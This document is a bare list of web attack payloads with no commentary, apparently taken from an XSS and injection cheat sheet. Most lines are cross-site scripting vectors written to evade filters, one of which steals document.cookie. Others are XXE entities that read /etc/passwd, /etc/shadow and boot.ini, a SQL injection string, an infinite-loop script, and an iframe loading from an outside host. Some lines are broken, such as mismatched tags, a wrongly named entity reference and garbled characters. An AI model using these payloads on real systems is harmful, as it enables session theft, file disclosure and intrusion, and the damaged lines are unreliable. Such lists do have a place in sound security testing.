#0000114&#0000116&#0000040&lt;WBR>#0000039&#0000088&#0000083&lt;WBR>#0000083&#000003
9&#0000041>
<IMGSRC=&#x6A&#x61&#x76&#x61&#x73&lt;WBR>#x63&#x72&#x69&#x70&#x74&#x3A&lt;WBR>#x61&#
x6C&#x65&#x72&#x74&#x28&lt;WBR>#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav&#x0A;ascript:alert(<WBR>'XSS');">
<IMG SRC="jav&#x0D;ascript:alert(<WBR>'XSS');">
<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<

```

```
[CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or
''=']]></foof>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<ELEMENT foo ANY><
ENTITY xxe SYSTEM "file:///c:/boot.ini">]><foo>&xee;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<ELEMENT foo ANY><
ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xee;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<ELEMENT foo ANY><
ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xee;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<ELEMENT foo ANY><
ENTITY xxe SYSTEM "file:///dev/random">]><foo>&xee;</foo>
<script>alert('XSS')</script>
%3cscript%3ealert('XSS')%3c/script%3e
%22%3e%3cscript%3ealert('XSS')%3c/script%3e
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert(&quot;XSS&quot;);>
<IMG SRC=javascript:alert('XSS')>
<img src=xss onerror=alert(1)>
<IMG ""><SCRIPT>alert("XSS")</SCRIPT>>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#1
01;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG
SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#00
00112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0
000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&
#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS')">
<iframe src=http://ha.ckers.org/scriptlet.html <
<<SCRIPT>alert("XSS");//<</SCRIPT>
%253cscript%253ealert(1)%253c/script%253e
"><s"%2b"cript>alert(document.cookie)</script>
foo<script>alert(1)</script>
<scr>script>ipt>alert(1)</scr</script>ipt>
<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>
';alert(String.fromCharCode(88,83,83))//
\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//
/\";alert(String.fromCharCode(88,83,83))//--></
SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<marquee onstart='javascript:alert('1');'>=(â- _â- )=
```